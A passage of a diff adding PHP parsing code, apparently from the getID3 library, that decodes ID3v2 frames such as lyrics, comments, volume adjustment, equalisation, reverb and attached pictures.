+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6   MLLT MPEG location lookup table
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) {     // 4.7   MLL MPEG location lookup table
+			//   There may only be one 'MLLT' frame in each tag
+			// <Header for 'Location lookup table', ID: 'MLLT'>
+			// MPEG frames between reference  $xx xx
+			// Bytes between reference        $xx xx xx
+			// Milliseconds between reference $xx xx xx
+			// Bits for bytes deviation       $xx
+			// Bits for milliseconds dev.     $xx
+			//   Then for every reference the following data is included;
+			// Deviation in bytes         %xxx....
+			// Deviation in milliseconds  %xxx....
+
+			$frame_offset = 0;
+			$parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2));
+			$parsedFrame['bytesbetweenreferences']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3));
+			$parsedFrame['msbetweenreferences']     = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3));
+			$parsedFrame['bitsforbytesdeviation']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1));
+			$parsedFrame['bitsformsdeviation']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1));
+			$parsedFrame['data'] = substr($parsedFrame['data'], 10);
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			}
+			$reference_counter = 0;
+			while (strlen($deviationbitstream) > 0) {
+				$parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation']));
+				$parsedFrame[$reference_counter]['msdeviation']   = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation']));
+				$deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']);
+				$reference_counter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7   SYTC Synchronised tempo codes
+				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) {  // 4.8   STC  Synchronised tempo codes
+			//   There may only be one 'SYTC' frame in each tag
+			// <Header for 'Synchronised tempo codes', ID: 'SYTC'>
+			// Time stamp format   $xx
+			// Tempo data          <binary data>
+			//   Where time stamp format is:
+			// $01  (32-bit value) MPEG frames from beginning of file
+			// $02  (32-bit value) milliseconds from beginning of file
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$timestamp_counter = 0;
+			while ($frame_offset < strlen($parsedFrame['data'])) {
+				$parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				if ($parsedFrame[$timestamp_counter]['tempo'] == 255) {
+					$parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				}
+				$parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+				$frame_offset += 4;
+				$timestamp_counter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8   USLT Unsynchronised lyric/text transcription
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) {     // 4.9   ULT  Unsynchronised lyric/text transcription
+			//   There may be more than one 'Unsynchronised lyrics/text transcription' frame
+			//   in each tag, but only one with the same language and content descriptor.
+			// <Header for 'Unsynchronised lyrics/text transcription', ID: 'USLT'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// Content descriptor   <text string according to encoding> $00 (00)
+			// Lyrics/text          <full text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+				// if description only contains a BOM or terminator then make it blank
+				$frame_description = '';
+			}
+			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
+
+			$parsedFrame['encodingid']   = $frame_textencoding;
+			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['language']     = $frame_language;
+			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+			$parsedFrame['description']  = $frame_description;
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
+			//   There may be more than one 'SYLT' frame in each tag,
+			//   but only one with the same language and content descriptor.
+			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// Time stamp format    $xx
+			//   $01  (32-bit value) MPEG frames from beginning of file
+			//   $02  (32-bit value) milliseconds from beginning of file
+			// Content type         $xx
+			// Content descriptor   <text string according to encoding> $00 (00)
+			//   Terminated text to be synced (typically a syllable)
+			//   Sync identifier (terminator to above string)   $00 (00)
+			//   Time stamp                                     $xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
+			$parsedFrame['encodingid']      = $frame_textencoding;
+			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['language']        = $frame_language;
+			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);
+
+			$timestampindex = 0;
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
+			while (strlen($frame_remainingdata)) {
+				$frame_offset = 0;
+				$frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator);
+				if ($frame_terminatorpos === false) {
+					$frame_remainingdata = '';
+				} else {
+					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+					}
+					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);
+
+					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator));
+					if (($timestampindex == 0) && (ord($frame_remainingdata{0}) != 0)) {
+						// timestamp probably omitted for first data item
+					} else {
+						$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
+						$frame_remainingdata = substr($frame_remainingdata, 4);
+					}
+					$timestampindex++;
+				}
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
+			//   There may be more than one comment frame in each tag,
+			//   but only one with the same language and content descriptor.
+			// <Header for 'Comment', ID: 'COMM'>
+			// Text encoding          $xx
+			// Language               $xx xx xx
+			// Short content descrip. <text string according to encoding> $00 (00)
+			// The actual text        <full text string according to encoding>
+
+			if (strlen($parsedFrame['data']) < 5) {
+
+				$this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']);
+
+			} else {
+
+				$frame_offset = 0;
+				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+				$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+					$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+					$frame_textencoding_terminator = "\x00";
+				}
+				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+				$frame_offset += 3;
+				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+				}
+				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+					// if description only contains a BOM or terminator then make it blank
+					$frame_description = '';
+				}
+				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
+
+				$parsedFrame['encodingid']   = $frame_textencoding;
+				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+				$parsedFrame['language']     = $frame_language;
+				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+				$parsedFrame['description']  = $frame_description;
+				$parsedFrame['data']         = $frame_text;
+				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
+					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+					} else {
+						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+					}
+				}
+
+			}
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
+			//   There may be more than one 'RVA2' frame in each tag,
+			//   but only one with the same identification string
+			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
+			// Identification          <text string> $00
+			//   The 'identification' string is used to identify the situation and/or
+			//   device where this adjustment should apply. The following is then
+			//   repeated for every channel:
+			// Type of channel         $xx
+			// Volume adjustment       $xx xx
+			// Bits representing peak  $xx
+			// Peak volume             $xx (xx ...)
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
+			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
+			if (ord($frame_idstring) === 0) {
+				$frame_idstring = '';
+			}
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
+			$parsedFrame['description'] = $frame_idstring;
+			$RVA2channelcounter = 0;
+			while (strlen($frame_remainingdata) >= 5) {
+				$frame_offset = 0;
+				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
+				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
+				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
+				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
+				$frame_offset += 2;
+				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
+				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
+					$this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value');
+					break;
+				}
+				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
+				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
+				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
+				$RVA2channelcounter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
+				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
+			//   There may only be one 'RVA' frame in each tag
+			// <Header for 'Relative volume adjustment', ID: 'RVA'>
+			// ID3v2.2 => Increment/decrement     %000000ba
+			// ID3v2.3 => Increment/decrement     %00fedcba
+			// Bits used for volume descr.        $xx
+			// Relative volume change, right      $xx xx (xx ...) // a
+			// Relative volume change, left       $xx xx (xx ...) // b
+			// Peak volume right                  $xx xx (xx ...)
+			// Peak volume left                   $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, right back $xx xx (xx ...) // c
+			// Relative volume change, left back  $xx xx (xx ...) // d
+			// Peak volume right back             $xx xx (xx ...)
+			// Peak volume left back              $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, center     $xx xx (xx ...) // e
+			// Peak volume center                 $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, bass       $xx xx (xx ...) // f
+			// Peak volume bass                   $xx xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
+			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
+			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
+			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			if ($parsedFrame['incdec']['right'] === false) {
+				$parsedFrame['volumechange']['right'] *= -1;
+			}
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			if ($parsedFrame['incdec']['left'] === false) {
+				$parsedFrame['volumechange']['left'] *= -1;
+			}
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			$frame_offset += $frame_bytesvolume;
+			if ($id3v2_majorversion == 3) {
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
+					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
+					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['rightrear'] === false) {
+						$parsedFrame['volumechange']['rightrear'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['leftrear'] === false) {
+						$parsedFrame['volumechange']['leftrear'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
+					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['center'] === false) {
+						$parsedFrame['volumechange']['center'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
+					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['bass'] === false) {
+						$parsedFrame['volumechange']['bass'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
+			//   There may be more than one 'EQU2' frame in each tag,
+			//   but only one with the same identification string
+			// <Header of 'Equalisation (2)', ID: 'EQU2'>
+			// Interpolation method  $xx
+			//   $00  Band
+			//   $01  Linear
+			// Identification        <text string> $00
+			//   The following is then repeated for every adjustment point
+			// Frequency          $xx xx
+			// Volume adjustment  $xx xx
+
+			$frame_offset = 0;
+			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_idstring) === 0) {
+				$frame_idstring = '';
+			}
+			$parsedFrame['description'] = $frame_idstring;
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
+			while (strlen($frame_remainingdata)) {
+				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
+				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
+				$frame_remainingdata = substr($frame_remainingdata, 4);
+			}
+			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
+			//   There may only be one 'EQUA' frame in each tag
+			// <Header for 'Relative volume adjustment', ID: 'EQU'>
+			// Adjustment bits    $xx
+			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
+			//   nearest byte) for every equalisation band in the following format,
+			//   giving a frequency range of 0 - 32767Hz:
+			// Increment/decrement   %x (MSB of the Frequency)
+			// Frequency             (lower 15 bits)
+			// Adjustment            $xx (xx ...)
+
+			$frame_offset = 0;
+			$parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1);
+			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);
+
+			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
+			while (strlen($frame_remainingdata) > 0) {
+				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
+				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
+				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
+				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
+				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
+				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
+					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
+				}
+				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
+			//   There may only be one 'RVRB' frame in each tag.
+			// <Header for 'Reverb', ID: 'RVRB'>
+			// Reverb left (ms)                 $xx xx
+			// Reverb right (ms)                $xx xx
+			// Reverb bounces, left             $xx
+			// Reverb bounces, right            $xx
+			// Reverb feedback, left to left    $xx
+			// Reverb feedback, left to right   $xx
+			// Reverb feedback, right to right  $xx
+			// Reverb feedback, right to left   $xx
+			// Premix left to right             $xx
+			// Premix right to left             $xx
+
+			$frame_offset = 0;
+			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
+			//   There may be several pictures attached to one file,
+			//   each in their individual 'APIC' frame, but only one
+			//   with the same content descriptor
+			// <Header for 'Attached picture', ID: 'APIC'>
+			// Text encoding      $xx
+			// ID3v2.3+ => MIME type          <text string> $00
+			// ID3v2.2  => Image format       $xx xx xx
+			// Picture type       $xx
+			// Description        <text string according to encoding> $00 (00)
+			// Picture data       <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
+				$frame_textencoding_terminator = "\x00";
+			}
+
+			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
+				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
+				if (strtolower($frame_imagetype) == 'ima') {
+					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
+					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
+					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+					if (ord($frame_mimetype) === 0) {
+						$frame_mimetype = '';
+					}
+					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
+					if ($frame_imagetype == 'JPEG') {
+						$frame_imagetype = 'JPG';
+					}
+					$frame_offset = $frame_terminatorpos + strlen("\x00");
+				} else {
+					$frame_offset += 3;
+				}
+			}
+			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
+				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (ord($frame_mimetype) === 0) {
+					$frame_mimetype = '';
+				}
+				$frame_offset = $frame_terminatorpos + strlen("\x00");
+			}
+
+			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			if ($frame_offset >= $parsedFrame['datalength']) {
+				$this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset));
+			} else {
+				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
+				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
+					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+				}
+				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
+					// if description only contains a BOM or terminator then make it blank
+					$frame_description = '';
+				}
+				$parsedFrame['encodingid']       = $frame_textencoding;
+				$parsedFrame['encoding']         = $this->TextEncodingNameLookup($frame_textencoding);
+
+				if ($id3v2_majorversion == 2) {
+					$parsedFrame['imagetype']    = $frame_imagetype;
+				} else {
+					$parsedFrame['mime']         = $frame_mimetype;
+				}
+				$parsedFrame['picturetypeid']    = $frame_picturetype;
+				$parsedFrame['picturetype']      = $this->APICPictureTypeLookup($frame_picturetype);
+				$parsedFrame['description']      = $frame_description;
+				$parsedFrame['data']             = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
+				$parsedFrame['datalength']       = strlen($parsedFrame['data']);
+
+				$parsedFrame['image_mime'] = '';
+				$imageinfo = array();
+				if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) {
+					if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
+						$parsedFrame['image_mime']       = 'image/'.getid3_lib::ImageTypesLookup($imagechunkcheck[2]);
+						if ($imagechunkcheck[0]) {
+							$parsedFrame['image_width']  = $imagechunkcheck[0];
+						}
+						if ($imagechunkcheck[1]) {
+							$parsedFrame['image_height'] = $imagechunkcheck[1];
+						}
+					}
+				}
+
+				do {
+					if ($this->getid3->option_save_attachments === false) {
+						// skip entirely
+						unset($parsedFrame['data']);
+						break;
+					}
+					if ($this->getid3->option_save_attachments === true) {
+						// great
+/*
+					} elseif (is_int($this->getid3->option_save_attachments)) {
+						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
+							// too big, skip
